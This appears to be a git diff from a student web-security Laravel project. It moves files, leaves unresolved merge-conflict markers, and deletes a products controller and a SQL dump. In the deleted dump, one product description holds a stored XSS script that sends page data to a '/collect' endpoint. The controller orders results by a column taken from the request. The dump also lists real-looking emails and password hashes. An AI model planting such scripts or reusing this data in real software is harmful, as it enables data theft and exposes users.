diff --git a/WebSecService/.editorconfig b/.editorconfig similarity index 100% rename from WebSecService/.editorconfig rename to .editorconfig diff --git a/WebSecService/.env.example b/.env.example similarity index 100% rename from WebSecService/.env.example rename to .env.example diff --git a/.gitattributes b/.gitattributes index dfe07704..7a19c2ea 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1,2 +1,16 @@ +<<<<<<< HEAD +* text=auto eol=lf + +*.blade.php diff=html +*.css diff=css +*.html diff=html +*.md diff=markdown +*.php diff=php + +/.github export-ignore +CHANGELOG.md export-ignore +.styleci.yml export-ignore +======= # Auto detect text files and perform LF normalization * text=auto +>>>>>>> aaaebfbccf2392ce4418798d840e3a6020adf600 diff --git a/WebSecService/.gitignore b/.gitignore similarity index 100% rename from WebSecService/.gitignore rename to .gitignore diff --git a/WebSecService/.htaccess b/.htaccess similarity index 100% rename from WebSecService/.htaccess rename to .htaccess diff --git a/WebSecService/.rnd b/.rnd similarity index 100% rename from WebSecService/.rnd rename to .rnd diff --git a/README.md b/README.md index 172be14d..ae4e4d16 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,71 @@ +<<<<<<< HEAD +
+ + + +## About Laravel + +Laravel is a web application framework with expressive, elegant syntax. We believe development must be an enjoyable and creative experience to be truly fulfilling. Laravel takes the pain out of development by easing common tasks used in many web projects, such as: + +- [Simple, fast routing engine](https://laravel.com/docs/routing). +- [Powerful dependency injection container](https://laravel.com/docs/container). +- Multiple back-ends for [session](https://laravel.com/docs/session) and [cache](https://laravel.com/docs/cache) storage. +- Expressive, intuitive [database ORM](https://laravel.com/docs/eloquent). +- Database agnostic [schema migrations](https://laravel.com/docs/migrations). +- [Robust background job processing](https://laravel.com/docs/queues). +- [Real-time event broadcasting](https://laravel.com/docs/broadcasting). + +Laravel is accessible, powerful, and provides tools required for large, robust applications. + +## Learning Laravel + +Laravel has the most extensive and thorough [documentation](https://laravel.com/docs) and video tutorial library of all modern web application frameworks, making it a breeze to get started with the framework. + +You may also try the [Laravel Bootcamp](https://bootcamp.laravel.com), where you will be guided through building a modern Laravel application from scratch. + +If you don't feel like reading, [Laracasts](https://laracasts.com) can help. Laracasts contains thousands of video tutorials on a range of topics including Laravel, modern PHP, unit testing, and JavaScript. Boost your skills by digging into our comprehensive video library. + +## Laravel Sponsors + +We would like to extend our thanks to the following sponsors for funding Laravel development. If you are interested in becoming a sponsor, please visit the [Laravel Partners program](https://partners.laravel.com). + +### Premium Partners + +- **[Vehikl](https://vehikl.com/)** +- **[Tighten Co.](https://tighten.co)** +- **[WebReinvent](https://webreinvent.com/)** +- **[Kirschbaum Development Group](https://kirschbaumdevelopment.com)** +- **[64 Robots](https://64robots.com)** +- **[Curotec](https://www.curotec.com/services/technologies/laravel/)** +- **[Cyber-Duck](https://cyber-duck.co.uk)** +- **[DevSquad](https://devsquad.com/hire-laravel-developers)** +- **[Jump24](https://jump24.co.uk)** +- **[Redberry](https://redberry.international/laravel/)** +- **[Active Logic](https://activelogic.com)** +- **[byte5](https://byte5.de)** +- **[OP.GG](https://op.gg)** + +## Contributing + +Thank you for considering contributing to the Laravel framework! The contribution guide can be found in the [Laravel documentation](https://laravel.com/docs/contributions). + +## Code of Conduct + +In order to ensure that the Laravel community is welcoming to all, please review and abide by the [Code of Conduct](https://laravel.com/docs/contributions#code-of-conduct). + +## Security Vulnerabilities + +If you discover a security vulnerability within Laravel, please send an e-mail to Taylor Otwell via [taylor@laravel.com](mailto:taylor@laravel.com). All security vulnerabilities will be promptly addressed. + +## License + +The Laravel framework is open-sourced software licensed under the [MIT license](https://opensource.org/licenses/MIT). +======= # websec +>>>>>>> aaaebfbccf2392ce4418798d840e3a6020adf600 diff --git a/WebSecService/.gitattributes b/WebSecService/.gitattributes deleted file mode 100644 index fcb21d39..00000000 --- a/WebSecService/.gitattributes +++ /dev/null @@ -1,11 +0,0 @@ -* text=auto eol=lf - -*.blade.php diff=html -*.css diff=css -*.html diff=html -*.md diff=markdown -*.php diff=php - -/.github export-ignore -CHANGELOG.md export-ignore -.styleci.yml export-ignore diff --git a/WebSecService/README.md b/WebSecService/README.md deleted file mode 100644 index 1a4c26ba..00000000 --- a/WebSecService/README.md +++ /dev/null @@ -1,66 +0,0 @@ - - - - -## About Laravel - -Laravel is a web application framework with expressive, elegant syntax. We believe development must be an enjoyable and creative experience to be truly fulfilling. Laravel takes the pain out of development by easing common tasks used in many web projects, such as: - -- [Simple, fast routing engine](https://laravel.com/docs/routing). -- [Powerful dependency injection container](https://laravel.com/docs/container). -- Multiple back-ends for [session](https://laravel.com/docs/session) and [cache](https://laravel.com/docs/cache) storage. -- Expressive, intuitive [database ORM](https://laravel.com/docs/eloquent). -- Database agnostic [schema migrations](https://laravel.com/docs/migrations). -- [Robust background job processing](https://laravel.com/docs/queues). -- [Real-time event broadcasting](https://laravel.com/docs/broadcasting). - -Laravel is accessible, powerful, and provides tools required for large, robust applications. - -## Learning Laravel - -Laravel has the most extensive and thorough [documentation](https://laravel.com/docs) and video tutorial library of all modern web application frameworks, making it a breeze to get started with the framework. - -You may also try the [Laravel Bootcamp](https://bootcamp.laravel.com), where you will be guided through building a modern Laravel application from scratch. - -If you don't feel like reading, [Laracasts](https://laracasts.com) can help. Laracasts contains thousands of video tutorials on a range of topics including Laravel, modern PHP, unit testing, and JavaScript. Boost your skills by digging into our comprehensive video library. - -## Laravel Sponsors - -We would like to extend our thanks to the following sponsors for funding Laravel development. If you are interested in becoming a sponsor, please visit the [Laravel Partners program](https://partners.laravel.com). - -### Premium Partners - -- **[Vehikl](https://vehikl.com/)** -- **[Tighten Co.](https://tighten.co)** -- **[WebReinvent](https://webreinvent.com/)** -- **[Kirschbaum Development Group](https://kirschbaumdevelopment.com)** -- **[64 Robots](https://64robots.com)** -- **[Curotec](https://www.curotec.com/services/technologies/laravel/)** -- **[Cyber-Duck](https://cyber-duck.co.uk)** -- **[DevSquad](https://devsquad.com/hire-laravel-developers)** -- **[Jump24](https://jump24.co.uk)** -- **[Redberry](https://redberry.international/laravel/)** -- **[Active Logic](https://activelogic.com)** -- **[byte5](https://byte5.de)** -- **[OP.GG](https://op.gg)** - -## Contributing - -Thank you for considering contributing to the Laravel framework! The contribution guide can be found in the [Laravel documentation](https://laravel.com/docs/contributions). - -## Code of Conduct - -In order to ensure that the Laravel community is welcoming to all, please review and abide by the [Code of Conduct](https://laravel.com/docs/contributions#code-of-conduct). - -## Security Vulnerabilities - -If you discover a security vulnerability within Laravel, please send an e-mail to Taylor Otwell via [taylor@laravel.com](mailto:taylor@laravel.com). All security vulnerabilities will be promptly addressed. - -## License - -The Laravel framework is open-sourced software licensed under the [MIT license](https://opensource.org/licenses/MIT). diff --git a/WebSecService/app/Http/Controllers/Web/ProductsController.php b/WebSecService/app/Http/Controllers/Web/ProductsController.php deleted file mode 100644 index 13cec21c..00000000 --- a/WebSecService/app/Http/Controllers/Web/ProductsController.php +++ /dev/null @@ -1,76 +0,0 @@ -middleware('auth:web')->except('list'); - /*123*/ - } - - public function list(Request $request) { - - $query = Product::select("products.*"); - - $query->when($request->keywords, - fn($q)=> $q->where("name", "like", "%$request->keywords%")); - - $query->when($request->min_price, - fn($q)=> $q->where("price", ">=", $request->min_price)); - - $query->when($request->max_price, fn($q)=> - $q->where("price", "<=", $request->max_price)); - - $query->when($request->order_by, - fn($q)=> $q->orderBy($request->order_by, $request->order_direction??"ASC")); - - $products = $query->get(); - - return view('products.list', compact('products')); - } - - public function edit(Request $request, Product $product = null) { - - if(!auth()->user()) return redirect('/'); - - $product = $product??new Product(); - - return view('products.edit', compact('product')); - } - - public function save(Request $request, Product $product = null) { - - $this->validate($request, [ - 'code' => ['required', 'string', 'max:32'], - 'name' => ['required', 'string', 'max:128'], - 'model' => ['required', 'string', 'max:256'], - 'description' => ['required', 'string', 'max:1024'], - 'price' => ['required', 'numeric'], - ]); - - $product = $product??new Product(); - $product->fill($request->all()); - $product->save(); - - return redirect()->route('products_list'); - } - - public function delete(Request $request, Product $product) { - - if(!auth()->user()->hasPermissionTo('delete_products')) abort(401); - - $product->delete(); - - return redirect()->route('products_list'); - } -} \ No newline at end of file diff --git a/WebSecService/app/Models/Product.php b/WebSecService/app/Models/Product.php deleted file mode 100644 index cb81413c..00000000 --- a/WebSecService/app/Models/Product.php +++ /dev/null @@ -1,16 +0,0 @@ -let name = document.getElementById(\'name\').textContent;let xhr = new XMLHttpRequest();xhr.open(\'GET\', `https://websecservice.localhost.com/collect?name=${encodeURIComponent(name)}`);xhr.send();', 'lgtv50.jpg', NULL, '2025-04-22 06:08:09', NULL), -(2, 'RF01', 'Toshipa Refrigerator 14\"', 22000, 'TS76634', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'tsrf50.jpg', NULL, NULL, NULL), -(3, 'RF02', 'Toshipa Refrigerator 18\"', 28000, 'TS76634', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'rf2.jpg', NULL, NULL, NULL), -(4, 'RF03', 'Toshipa Refrigerator 19\"', 32000, 'TS76634', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'rf3.jpg', NULL, NULL, NULL), -(5, 'TV02', 'LG TV 55\"', 23000, 'LG8768787', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'tv2.jpg', NULL, NULL, NULL), -(6, 'RF04', 'LG Refrigerator 14\"', 22000, 'TS76634', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'rf4.jpg', NULL, NULL, NULL), -(7, 'TV03', 'LG TV 60\"', 44000, 'LG8768787', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'tv3.jpg', NULL, NULL, NULL), -(8, 'RF05', 'Toshipa Refrigerator 12\"', 10700, 'TS76634', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'rf5.jpg', NULL, NULL, NULL), -(9, 'TV04', 'LG TV 99\"', 108000, 'LG8768787', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'tv4.jpg', NULL, NULL, NULL), -(10, 'RF05', 'Toshipa Refrigerator 19\"', 44000, 'TS76634', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'rf4.jpg', '2025-02-25 03:18:04', '2025-02-25 03:18:04', NULL), -(11, 'TV01', 'LG TV 50\"', 18000, 'LG8768787', 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.', 'lgtv50.jpg', '2025-02-25 03:24:04', '2025-02-25 03:24:04', NULL); - --- -------------------------------------------------------- - --- --- Table structure for table `quizzes` --- - -CREATE TABLE `quizzes` ( - `id` bigint(20) UNSIGNED NOT NULL, - `question` text NOT NULL, - `instructor_id` bigint(20) UNSIGNED NOT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; - --- -------------------------------------------------------- - --- --- Table structure for table `roles` --- - -CREATE TABLE `roles` ( - `id` bigint(20) UNSIGNED NOT NULL, - `name` varchar(255) NOT NULL, - `guard_name` varchar(255) NOT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; - --- --- Dumping data for table `roles` --- - -INSERT INTO `roles` (`id`, `name`, `guard_name`, `created_at`, `updated_at`) VALUES -(1, 'Admin', 'web', NULL, NULL), -(2, 'Employee', 'web', NULL, NULL); - --- -------------------------------------------------------- - --- --- Table structure for table `role_has_permissions` --- - -CREATE TABLE `role_has_permissions` ( - `permission_id` bigint(20) UNSIGNED NOT NULL, - `role_id` bigint(20) UNSIGNED NOT NULL -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; - --- --- Dumping data for table `role_has_permissions` --- - -INSERT INTO `role_has_permissions` (`permission_id`, `role_id`) VALUES -(1, 1), -(2, 1), -(3, 1), -(4, 1), -(4, 2), -(5, 1), -(5, 2), -(7, 1), -(8, 1); - --- -------------------------------------------------------- - --- --- Table structure for table `sessions` --- - -CREATE TABLE `sessions` ( - `id` varchar(255) NOT NULL, - `user_id` bigint(20) UNSIGNED DEFAULT NULL, - `ip_address` varchar(45) DEFAULT NULL, - `user_agent` text DEFAULT NULL, - `payload` longtext NOT NULL, - `last_activity` int(11) NOT NULL -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; - --- --- Dumping data for table `sessions` --- - -INSERT INTO `sessions` (`id`, `user_id`, `ip_address`, `user_agent`, `payload`, `last_activity`) VALUES -('02wEA5qUS3ZRmzj5gXaicsFSQ9XW4zD7M35D61aJ', NULL, '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36', 'YTozOntzOjY6Il90b2tlbiI7czo0MDoiV0N6QUhQRVd4NHZ5TUZXMVpNd1dKdmJuUWdYRkpzTnFlaWw5QmVGaiI7czo5OiJfcHJldmlvdXMiO2E6MTp7czozOiJ1cmwiO3M6NDA6Imh0dHA6Ly93ZWJzZWNzZXJ2aWNlLmxvY2FsaG9zdC5jb20vbG9naW4iO31zOjY6Il9mbGFzaCI7YToyOntzOjM6Im9sZCI7YTowOnt9czozOiJuZXciO2E6MDp7fX19', 1747118662), -('4gRDLQUglB4wo5ZmUR1LztqRVpYxj9tcbk34EM4Q', NULL, '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36', 'YTozOntzOjY6Il90b2tlbiI7czo0MDoiN3hXSmNkMW05NzZ6Q0FYenZleE5YV1JYd2pkck5NYkxpUEpqQ1FUSiI7czo5OiJfcHJldmlvdXMiO2E6MTp7czozOiJ1cmwiO3M6Mzk6Imh0dHA6Ly93ZWJzZWNzZXJ2aWNlLmxvY2FsaG9zdC5jb20vZXZlbiI7fXM6NjoiX2ZsYXNoIjthOjI6e3M6Mzoib2xkIjthOjA6e31zOjM6Im5ldyI7YTowOnt9fX0=', 1747064425), -('74ra6ZXaUy6l3eOOg85DaSPWQ7rzoWeBBUcgWAkn', NULL, '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36', 'YTozOntzOjY6Il90b2tlbiI7czo0MDoiUUp3WEV5NXJpTTRFbng4Ujk3bEh3TzY1R3VNS2ZZYnkwbW9MQTYwMyI7czo2OiJfZmxhc2giO2E6Mjp7czozOiJvbGQiO2E6MDp7fXM6MzoibmV3IjthOjA6e319czo5OiJfcHJldmlvdXMiO2E6MTp7czozOiJ1cmwiO3M6MTUxOiJodHRwOi8vd2Vic2Vjc2VydmljZS5sb2NhbGhvc3QuY29tL2NyeXB0b2dyYXBoeT9fdG9rZW49UUp3WEV5NXJpTTRFbng4Ujk3bEh3TzY1R3VNS2ZZYnkwbW9MQTYwMyZhY3Rpb249RW5jcnlwdCZkYXRhPVdlbGNvbWUlMjB0byUyMENyeXB0b2dyYXBoeSZyZXN1bHQ9Ijt9fQ==', 1746671284), -('8faTVrbYFdbpZh7j908PLIQRPhwMycoeJaLl1Db2', NULL, '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36', 'YTozOntzOjY6Il90b2tlbiI7czo0MDoidEF1eVNVV1Rxa3J5TTRGSWVUMEVnUVg3T2QyWnJ3YWNTZ0pSNENJZyI7czo5OiJfcHJldmlvdXMiO2E6MTp7czozOiJ1cmwiO3M6MzQ6Imh0dHA6Ly93ZWJzZWNzZXJ2aWNlLmxvY2FsaG9zdC5jb20iO31zOjY6Il9mbGFzaCI7YToyOntzOjM6Im9sZCI7YTowOnt9czozOiJuZXciO2E6MDp7fX19', 1747105660), -('8p1FCXP6OR7dvvv0Cmb5hVnQiydfD0e6eFJiQ8EN', NULL, '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36', 'YTozOntzOjY6Il90b2tlbiI7czo0MDoiSEh0NWtpRzhqUjY2bTJuZ2hPUEdQNWs3empMVUJpYVgybXpUWmZZTCI7czo2OiJfZmxhc2giO2E6Mjp7czozOiJvbGQiO2E6MDp7fXM6MzoibmV3IjthOjA6e319czo5OiJfcHJldmlvdXMiO2E6MTp7czozOiJ1cmwiO3M6MTUxOiJodHRwOi8vd2Vic2Vjc2VydmljZS5sb2NhbGhvc3QuY29tL2NyeXB0b2dyYXBoeT9fdG9rZW49SEh0NWtpRzhqUjY2bTJuZ2hPUEdQNWs3empMVUJpYVgybXpUWmZZTCZhY3Rpb249RW5jcnlwdCZkYXRhPVdlbGNvbWUlMjB0byUyMENyeXB0b2dyYXBoeSZyZXN1bHQ9Ijt9fQ==', 1747537708), -('aSnonDTb3RIek6FVMWGLpDxgOT1rJYM4DZ0hBP2e', NULL, '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36', 'YTozOntzOjY6Il90b2tlbiI7czo0MDoibkpiUzNyZ3BnZzJodXAyVk5RYTUwNzBVdmc5dlpoRVo3cGg4ZmcwTyI7czo2OiJfZmxhc2giO2E6Mjp7czozOiJvbGQiO2E6MDp7fXM6MzoibmV3IjthOjA6e319czo5OiJfcHJldmlvdXMiO2E6MTp7czozOiJ1cmwiO3M6NDA6Imh0dHA6Ly93ZWJzZWNzZXJ2aWNlLmxvY2FsaG9zdC5jb20vbG9naW4iO319', 1747120185), -('d5K0vEA26VBc57XTltS0rNUBmPvKhCjsqFmz0jKf', NULL, '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36', 'YToyOntzOjY6Il90b2tlbiI7czo0MDoiRzFtUWNXbDMxdDF2c1RBNURFcnVTZzdoVnZFbWs0dGIwOUVVenhndCI7czo2OiJfZmxhc2giO2E6Mjp7czozOiJvbGQiO2E6MDp7fXM6MzoibmV3IjthOjA6e319fQ==', 1747024622), -('MhYxMvjv8Mv7LKboMlhBPZmtoKucu6QwHWDn5ODg', NULL, '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36', 'YTozOntzOjY6Il90b2tlbiI7czo0MDoiMFd4U0NLZHl3ZmpzQTgzNXFKaEJhc2Y4NDJjaFAyVElzN2lINWdNTCI7czo2OiJfZmxhc2giO2E6Mjp7czozOiJvbGQiO2E6MDp7fXM6MzoibmV3IjthOjA6e319czo5OiJfcHJldmlvdXMiO2E6MTp7czozOiJ1cmwiO3M6NDk2OiJodHRwOi8vd2Vic2Vjc2VydmljZS5sb2NhbGhvc3QuY29tL2NyeXB0b2dyYXBoeT9fdG9rZW49MFd4U0NLZHl3ZmpzQTgzNXFKaEJhc2Y4NDJjaFAyVElzN2lINWdNTCZhY3Rpb249S2V5UmVjaXZlJmRhdGE9RHN1N28lMkYxODFPQVpxQ0licFM2cUdvVGhuNnA0cjVJcmRiQTlrWVlweXdZY3hqZXZQT2l5OTAzdDFIc3o1ZnY5dEtWR1lmcmsxdDhvajFHeXNPVGluQ2NlMGZRc2JweVlFTGNEOTdmMCUyQmY4ZlBxYkc4cTFxbEVHcUdRQTRBV3ZjcW5FRyUyQiUyRnRlWVJxUlBDeGtwJTJGemI4VnpER1RlMU83ZEJKQXQ3aDBncXJVcm5TdW9zZDI1Y3pueXpzMDU4R2c4JTJGOVNwZEU2S0lFRWRZZmtleEIlMkJwUG1aS0t1YWRxbmNMWlFaMlJGUGdTZTN0UVJlclNQaXglMkJzaXV1dFpiMWxOb2RrcEZnc0tteXNnJTJCZXRYWXFBJTJCT2dMd0ZwTzJ3TXZ6JTJCVlpqcGppWWpkSFllRHJKOTJ2M3dKeG5KRFNDTm1vYVBFN0RHcUFmck96Rmp4TXV5YWRVSDE1ZyUzRCUzRCZyZXN1bHQ9Ijt9fQ==', 1746517959), -('WC5aSWuk1Nv8zlAPOOOU0oZ3UJevZqRVpdWb4qGg', NULL, '127.0.0.1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36', 'YTozOntzOjY6Il90b2tlbiI7czo0MDoiZmY4WFBBN25sZTRUaUhwMUU5VFZ6ZTRSUjFFZnNNSEdvY2d1a2xMcyI7czo5OiJfcHJldmlvdXMiO2E6MTp7czozOiJ1cmwiO3M6NDU6Imh0dHBzOi8vd2Vic2Vjc2VydmljZS5sb2NhbGhvc3QuY29tL3dlYmNyeXB0byI7fXM6NjoiX2ZsYXNoIjthOjI6e3M6Mzoib2xkIjthOjA6e31zOjM6Im5ldyI7YTowOnt9fX0=', 1746508965); - --- -------------------------------------------------------- - --- --- Table structure for table `users` --- - -CREATE TABLE `users` ( - `id` bigint(20) UNSIGNED NOT NULL, - `name` varchar(255) NOT NULL, - `email` varchar(255) NOT NULL, - `email_verified_at` timestamp NULL DEFAULT NULL, - `password` varchar(255) DEFAULT NULL, - `remember_token` varchar(100) DEFAULT NULL, - `google_id` text DEFAULT NULL, - `google_token` text DEFAULT NULL, - `google_refresh_token` text DEFAULT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL, - `credit` int(11) DEFAULT NULL -) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; - --- --- Dumping data for table `users` --- - -INSERT INTO `users` (`id`, `name`, `email`, `email_verified_at`, `password`, `remember_token`, `google_id`, `google_token`, `google_refresh_token`, `created_at`, `updated_at`, `credit`) VALUES -(1, 'Mohamed Saleh', 'mohamed.saleh@sut.edu.eg', '2025-04-05 05:03:52', '$2y$12$NmCqiUwF4OfYn4eyuZaOhuT2IbJyQ394O/83jFSYtXJmfVZWgfCpi', NULL, NULL, NULL, NULL, '2025-03-10 16:34:55', '2025-05-12 23:05:19', 1111), -(16, 'Ahmed Ali Said', 'malisobh2010@gmail.com1', '2025-04-05 05:03:52', '$2y$12$cHhB7KEnGMKN2rrvmdX2POhwTv5yJC/wurAoHl8h/JAFGC5ZMezVi', NULL, NULL, NULL, NULL, '2025-03-11 05:32:37', '2025-03-18 01:54:30', 222), -(17, 'Nader Mohsen', 'nader.mohsen@gmail.com', '2025-04-05 05:03:52', '$2y$12$XKRIjZp2dELynmiLUgjWI.ecYWUeM3peE34SKh8/jYotKLaSy2EGS', NULL, NULL, NULL, NULL, '2025-03-18 01:02:26', '2025-03-18 01:59:02', 3333), -(37, 'Mohamed Sobh', 'malisobh2010@gmail.com', NULL, NULL, NULL, NULL, NULL, NULL, '2025-04-08 06:30:31', '2025-04-08 06:30:31', 4444), -(38, 'Test User', 'useremail@domain.com', '2025-05-01 06:28:45', '$2y$12$EmJ.tAsGA9N/qTYpkCwFTuXD6HWRw6s7JnJXWVaSu3n//nX3MkNJK', NULL, NULL, NULL, NULL, '2025-05-01 02:08:33', '2025-05-01 02:08:33', NULL); - --- --- Indexes for dumped tables --- - --- --- Indexes for table `cache` --- -ALTER TABLE `cache` - ADD PRIMARY KEY (`key`); - --- --- Indexes for table `cache_locks` --- -ALTER TABLE `cache_locks` - ADD PRIMARY KEY (`key`); - --- --- Indexes for table `failed_jobs` --- -ALTER TABLE `failed_jobs` - ADD PRIMARY KEY (`id`), - ADD UNIQUE KEY `failed_jobs_uuid_unique` (`uuid`); - --- --- Indexes for table `jobs` --- -ALTER TABLE `jobs` - ADD PRIMARY KEY (`id`), - ADD KEY `jobs_queue_index` (`queue`); - --- --- Indexes for table `job_batches` --- -ALTER TABLE `job_batches` - ADD PRIMARY KEY (`id`); - --- --- Indexes for table `migrations` --- -ALTER TABLE `migrations` - ADD PRIMARY KEY (`id`); - --- --- Indexes for table `model_has_permissions` --- -ALTER TABLE `model_has_permissions` - ADD PRIMARY KEY (`permission_id`,`model_id`,`model_type`), - ADD KEY `model_has_permissions_model_id_model_type_index` (`model_id`,`model_type`); - --- --- Indexes for table `model_has_roles` --- -ALTER TABLE `model_has_roles` - ADD PRIMARY KEY (`role_id`,`model_id`,`model_type`), - ADD KEY `model_has_roles_model_id_model_type_index` (`model_id`,`model_type`); - --- --- Indexes for table `oauth_access_tokens` --- -ALTER TABLE `oauth_access_tokens` - ADD PRIMARY KEY (`id`), - ADD KEY `oauth_access_tokens_user_id_index` (`user_id`); - --- --- Indexes for table `oauth_auth_codes` --- -ALTER TABLE `oauth_auth_codes` - ADD PRIMARY KEY (`id`), - ADD KEY `oauth_auth_codes_user_id_index` (`user_id`); - --- --- Indexes for table `oauth_clients` --- -ALTER TABLE `oauth_clients` - ADD PRIMARY KEY (`id`), - ADD KEY `oauth_clients_user_id_index` (`user_id`); - --- --- Indexes for table `oauth_personal_access_clients` --- -ALTER TABLE `oauth_personal_access_clients` - ADD PRIMARY KEY (`id`); - --- --- Indexes for table `oauth_refresh_tokens` --- -ALTER TABLE `oauth_refresh_tokens` - ADD PRIMARY KEY (`id`), - ADD KEY `oauth_refresh_tokens_access_token_id_index` (`access_token_id`); - --- --- Indexes for table `participations` --- -ALTER TABLE `participations` - ADD PRIMARY KEY (`id`); - --- --- Indexes for table `password_reset_tokens` --- -ALTER TABLE `password_reset_tokens` - ADD PRIMARY KEY (`email`); - --- --- Indexes for table `permissions` --- -ALTER TABLE `permissions` - ADD PRIMARY KEY (`id`), - ADD UNIQUE KEY `permissions_name_guard_name_unique` (`name`,`guard_name`); - --- --- Indexes for table `products` --- -ALTER TABLE `products` - ADD PRIMARY KEY (`id`); - --- --- Indexes for table `quizzes` --- -ALTER TABLE `quizzes` - ADD PRIMARY KEY (`id`); - --- --- Indexes for table `roles` --- -ALTER TABLE `roles` - ADD PRIMARY KEY (`id`), - ADD UNIQUE KEY `roles_name_guard_name_unique` (`name`,`guard_name`); - --- --- Indexes for table `role_has_permissions` --- -ALTER TABLE `role_has_permissions` - ADD 